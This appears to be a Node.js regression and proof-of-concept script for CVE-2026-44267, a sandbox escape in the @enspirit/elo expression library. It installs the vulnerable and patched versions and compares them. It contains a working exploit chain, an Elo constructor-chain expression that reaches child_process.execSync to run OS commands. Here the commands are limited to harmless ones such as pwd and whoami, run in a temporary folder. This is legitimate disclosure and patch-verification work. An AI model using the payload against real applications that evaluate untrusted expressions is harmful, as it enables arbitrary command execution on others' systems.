#!/usr/bin/env node /** * CVE-2026-44267 — single-file, local-only regression and OS-command PoC. * * Three stages: * 1. Reach the JavaScript Function constructor through an Elo expression. * 2. Confirm the boundary breach can execute a FIXED LIST of harmless OS * commands (pwd, whoami, ls, and a child-shell cd) in a throwaway folder. * Published JSON evidence redacts host usernames and absolute paths. * 3. Run the same expressions on 1.0.1 and assert that the patch rejects them. * * This script DOES NOT accept commands/payloads/targets from user input. * Run only inside a disposable, low-privilege VM or container; temporary * directories and child processes are not a security sandbox. * * Node.js 18+ and npm are required. npm needs network access on first run. */ 'use strict'; const fs = require('node:fs'); const os = require('node:os'); const path = require('node:path'); const { spawnSync } = require('node:child_process'); const CVE = 'CVE-2026-44267'; const PACKAGE = '@enspirit/elo'; const VERSIONS = [ { label: 'vulnerable', version: '1.0.0' }, { label: 'patched', version: '1.0.1' }, ]; const BASELINE = '2 + 3'; const SANDBOX_PROOF = "({}).constructor.constructor('return 6 * 7')()"; const RESULT_MARKER = '__ELO_CVE_RESULT__'; const INSTALL_TIMEOUT_MS = 120_000; const PROBE_TIMEOUT_MS = 20_000; const MAX_OUTPUT = 2048; // All commands are intentionally fixed. Nothing is read from CLI arguments, // user-controlled expressions or the network and forwarded to a shell. function safeCommands() { if (process.platform === 'win32') { return [ { label: 'cwd', shellCommand: 'cd', expectation: 'cwd' }, { label: 'user', shellCommand: 'whoami', expectation: 'nonempty' }, { label: 'files', shellCommand: 'dir /b', expectation: 'marker' }, { label: 'cd', shellCommand: 'cd proof_dir && cd', expectation: 'subdir' }, ]; } return [ { label: 'pwd', shellCommand: 'pwd', expectation: 'cwd' }, { label: 'whoami', shellCommand: 'whoami', expectation: 'nonempty' }, { label: 'ls', shellCommand: 'ls -1', expectation: 'marker' }, { label: 'cd', shellCommand: 'cd proof_dir && pwd', expectation: 'subdir' }, ]; } function printHelp() { console.log(`${CVE} — Elo sandbox escape and local OS-command proof Usage: node cve_2026_44267_lab.js [--out evidence.json] node cve_2026_44267_lab.js --help Three stages: 1. Sandbox escape: Elo constructor-chain expression returns 42. 2. OS execution: the vulnerable Elo expression runs only fixed harmless commands (pwd, whoami, ls, cd) in a temporary, controlled folder. 3. Patch check: the same expressions must fail on @enspirit/elo@1.0.1. Requires Node 18+, npm, and network for package installation. Run inside an isolated, disposable low-privilege VM/container. A temporary directory alone is NOT a security sandbox. No arbitrary commands or URLs are accepted.`); } function escapeEloLiteral(value) { return value.replace(/\\/g, '\\\\').replace(/'/g, "\\'").replace(/\r/g, '\\r').replace(/\n/g, '\\n'); } function osProofExpression(shellCommand) { // In the vulnerable version, the constructor chain reaches the host // Function constructor. The generated Function then obtains the Node.js // process and child_process API. The command is a hardcoded lab constant. // This exact route is documented in the upstream security advisory. const javascriptBody = "return this.constructor.constructor('return process')()" + ".mainModule.require('child_process')" + `.execSync(${JSON.stringify(shellCommand)}).toString()`; return `({}).constructor.constructor('${escapeEloLiteral(javascriptBody)}')()`; } function sample(value) { if (typeof value === 'string') return value.slice(0, MAX_OUTPUT); if (value === null || ['number', 'boolean'].includes(typeof value)) return value; return String(value).slice(0, MAX_OUTPUT); } function evaluate(eloModule, expression) { try { let value; if (typeof eloModule.compile === 'function') { const fn = eloModule.compile(expression); value = typeof fn === 'function' ? fn() : fn; } else if (eloModule.defaultFormats?.elo?.parse) { value = eloModule.defaultFormats.elo.parse(expression); } else { throw new Error('No supported evaluation method found on Elo module'); } return { accepted: true, value: sample(value) }; } catch (error) { return { accepted: false, error: `${error.name}: ${error.message}`.slice(0, 500) }; } } function probe(packageRoot, requestedVersion, workspace) { const modulePath = path.join(packageRoot, 'node_modules', '@enspirit', 'elo'); const manifest = JSON.parse(fs.readFileSync(path.join(modulePath, 'package.json'), 'utf8')); if (manifest.name !== PACKAGE || manifest.version !== requestedVersion) { throw new Error(`Package mismatch: expected ${PACKAGE}@${requestedVersion}`); } const eloModule = require(modulePath); const osCommands = safeCommands().map(({ label, shellCommand, expectation }) => ({ label, shellCommand, expectation, result: evaluate(eloModule, osProofExpression(shellCommand)), })); return { version: manifest.version, workspace, baseline: evaluate(eloModule, BASELINE), sandboxEscape: evaluate(eloModule, SANDBOX_PROOF), osCommands, }; } function run(command, args, options = {}) { const subprocess = spawnSync(command, args, { encoding: 'utf8', cwd: options.cwd, timeout: options.timeout || INSTALL_TIMEOUT_MS, maxBuffer: 1024 * 1024, windowsHide: true, shell: process.platform === 'win32' && command === 'npm.cmd', env: { ...process.env, npm_config_update_notifier: 'false' }, }); if (subprocess.error || subprocess.status !== 0) { const details = [subprocess.error?.message, subprocess.stderr, subprocess.stdout] .filter(Boolean).join('\n').trim().slice(-1200); throw new Error(`${command} failed (exit ${subprocess.status ?? 'unknown'}): ${details}`); } return subprocess.stdout; } function expectedValue(test, workspace) { if (!test.result.accepted || typeof test.result.value !== 'string') return false; const value = test.result.value.trim(); switch (test.expectation) { case 'cwd': return path.normalize(value).toLowerCase() === path.normalize(workspace).toLowerCase(); case 'subdir': return path.normalize(value).toLowerCase() === path.normalize(path.join(workspace, 'proof_dir')).toLowerCase(); case 'marker': return value.split(/\r?\n/).includes('lab_marker.txt'); case 'nonempty': return value.length > 0 && value.length < MAX_OUTPUT; default: return false; } } /** * Keep local OS evidence useful without committing host usernames and paths. * All PASS/FAIL assertions are computed on the original, unredacted values. */ function redactPublicEvidence(report, workspace) { const copy = JSON.parse(JSON.stringify(report)); const privateRoot = path.dirname(workspace); const personalPaths = [workspace, privateRoot, os.homedir(), process.env.USERPROFILE, process.env.HOME] .filter(v => typeof v === 'string' && v.length > 2) .sort((a, b) => b.length - a.length); let localUser = ''; try { localUser = os.userInfo().username; } catch { /* Some restricted runtimes omit this. */ } function scrub(text) { if (typeof text !== 'string') return text; let result = text; for (const privatePath of personalPaths) { for (const variant of new Set([ privatePath, privatePath.replace(/\\/g, '/'), privatePath.replace(/\//g, '\\'), ])) { result = result.split(variant).join(''); } } if (localUser && localUser.length >= 3) { result = result.split(localUser).join(''); } return result; } for (const run of copy.tests || []) { run.workspace = ''; for (const test of run.osCommands || []) { const raw = test.result; if (raw.accepted && typeof raw.value === 'string') { raw.matchesExpectedOutput = expectedValue(test, workspace); // Preserve the actual accept/reject result while hiding private host details. if (test.expectation === 'cwd') raw.value = ''; else if (test.expectation === 'subdir') raw.value = '/proof_dir'; else if (test.expectation === 'nonempty') raw.value = ''; else raw.value = scrub(raw.value); } if (typeof raw.error === 'string') raw.error = scrub(raw.error); } if (run.baseline && typeof run.baseline.error === 'string') run.baseline.error = scrub(run.baseline.error); if (run.sandboxEscape && typeof run.sandboxEscape.error === 'string') run.sandboxEscape.error = scrub(run.sandboxEscape.error); } if (typeof copy.error === 'string') copy.error = scrub(copy.error); copy.privacy = { redacted: true, details: 'Host usernames and working-directory paths are redacted in published JSON. PASS/FAIL assertions are computed before redaction.', }; return copy; } function main() { const args = process.argv.slice(2); if (args.includes('--help') || args.includes('-h')) { printHelp(); return; } if (args[0] === '--probe') { if (args.length !== 4) throw new Error('Invalid internal probe arguments'); process.stdout.write(RESULT_MARKER + JSON.stringify(probe(args[1], args[2], args[3])) + '\n'); return; } if (args.length > 2 || (args.length && (args[0] !== '--out' || !args[1]))) { throw new Error('Unknown arguments. Run with --help for usage.'); } const output = path.resolve(args[1] || 'cve_2026_44267_evidence.json'); const root = fs.mkdtempSync(path.join(os.tmpdir(), 'elo-cve-44267-')); const workspace = path.join(root, 'workspace'); fs.mkdirSync(workspace); fs.mkdirSync(path.join(workspace, 'proof_dir')); fs.writeFileSync(path.join(workspace, 'lab_marker.txt'), 'Local CVE-2026-44267 demonstration only\n'); const report = { cve: CVE, advisory: 'https://github.com/enspirit/elo/security/advisories/GHSA-33r5-xmm8-v6x5', timestampUtc: new Date().toISOString(), runtime: { node: process.version, platform: process.platform }, scope: 'Local vulnerable/patched npm packages, fixed benign OS commands, controlled workspace', input: { baseline: BASELINE, sandboxEscape: SANDBOX_PROOF, osProofCommands: safeCommands(), }, tests: [], verdict: 'INCOMPLETE', }; try { for (const item of VERSIONS) { console.log(`[+] Installing ${PACKAGE}@${item.version} in an isolated temporary directory...`); const folder = path.join(root, item.label); fs.mkdirSync(folder); const npmCommand = process.platform === 'win32' ? 'npm.cmd' : 'npm'; run(npmCommand, ['install', '--prefix', folder, '--no-save', '--ignore-scripts', '--no-audit', '--no-fund', '--package-lock=false', `${PACKAGE}@${item.version}`]); console.log(`[+] Testing ${item.label} (${item.version}): sandbox escape + fixed OS commands...`); const stdout = run(process.execPath, [__filename, '--probe', folder, item.version, workspace], { timeout: PROBE_TIMEOUT_MS, cwd: workspace }); const line = stdout.split(/\r?\n/).find(s => s.startsWith(RESULT_MARKER)); if (!line) throw new Error(`Missing JSON result from ${item.label} probe`); const result = { label: item.label, ...JSON.parse(line.slice(RESULT_MARKER.length)) }; report.tests.push(result); const sandboxStatus = result.sandboxEscape.accepted ? `EXECUTED (returned ${JSON.stringify(result.sandboxEscape.value)})` : `REJECTED (${result.sandboxEscape.error})`; console.log(` Constructor-chain proof => ${sandboxStatus}`); for (const test of result.osCommands) { const output = test.result.accepted ? String(test.result.value).trim().slice(0, 500) : String(test.result.error).slice(0, 130); console.log(` ${test.shellCommand} => ${test.result.accepted ? 'EXECUTED' : 'BLOCKED'}`); console.log(output.split('\n').map(line => ' ' + line).join('\n')); } } const vulnerable = report.tests.find(t => t.label === 'vulnerable'); const patched = report.tests.find(t => t.label === 'patched'); const sameOsCases = vulnerable.osCommands.length === patched.osCommands.length && vulnerable.osCommands.every((t, i) => t.label === patched.osCommands[i].label); report.assertions = { baselinesPass: [vulnerable, patched].every(t => t.baseline.accepted && t.baseline.value === 5), sandboxEscapeReproduced: vulnerable.sandboxEscape.accepted && vulnerable.sandboxEscape.value === 42, sandboxEscapeBlockedByPatch: !patched.sandboxEscape.accepted, osExecutionReproduced: vulnerable.osCommands.length === 4 && vulnerable.osCommands.every(t => expectedValue(t, workspace)), osExecutionBlockedByPatch: sameOsCases && patched.osCommands.every(t => !t.result.accepted), }; report.verdict = Object.values(report.assertions).every(Boolean) ? 'PASS' : 'FAIL'; } catch (error) { report.error = error.message; console.error(`[!] ${error.message}`); } finally { fs.rmSync(root, { recursive: true, force: true }); fs.writeFileSync(output, JSON.stringify(redactPublicEvidence(report, workspace), null, 2) + '\n', 'utf8'); console.log(`[+] Evidence: ${output}`); console.log(`[+] Verdict: ${report.verdict}`); if (report.assertions) console.log(JSON.stringify(report.assertions, null, 2)); if (report.verdict !== 'PASS') process.exitCode = 1; } } try { main(); } catch (error) { console.error(`[!] ${error.message}`); process.exitCode = 1; }